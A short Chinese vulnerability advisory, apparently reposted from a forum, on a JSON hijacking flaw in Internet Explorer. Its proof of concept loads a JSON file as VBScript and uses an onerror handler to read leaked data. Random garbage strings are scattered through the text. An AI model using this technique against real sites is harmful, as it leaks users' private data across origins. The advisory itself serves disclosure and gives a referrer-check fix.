IE通用JSON劫持漏洞

admin

简要描述：
1 y9 L* f- w& y; ~% Y1 A1 e
3 y9 m) \7 o: d( Z4 s( C/ T由于某些资源容器对数据处理不当导致json劫持漏洞.
+ g/ ^' H/ a, n* Z: q详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
# e5 F0 v9 [8 N3 |) y: s  r<script language=vbscript></script>

当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
" O$ A9 P/ k9 I1 ?# ?& A<script>
window.onerror=function(_){
alert(_)
! \) H* h4 l4 e}
( x% l' H! x! L  o' }: D! S7 T* u</script>
0 M8 n3 j* N7 M8 {, {3 X* N! t<script language=vbscript src=1.json></script>


1.json:
[{"name":"sogili","age":19}]
: ^# _0 t& U7 f6 ]修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御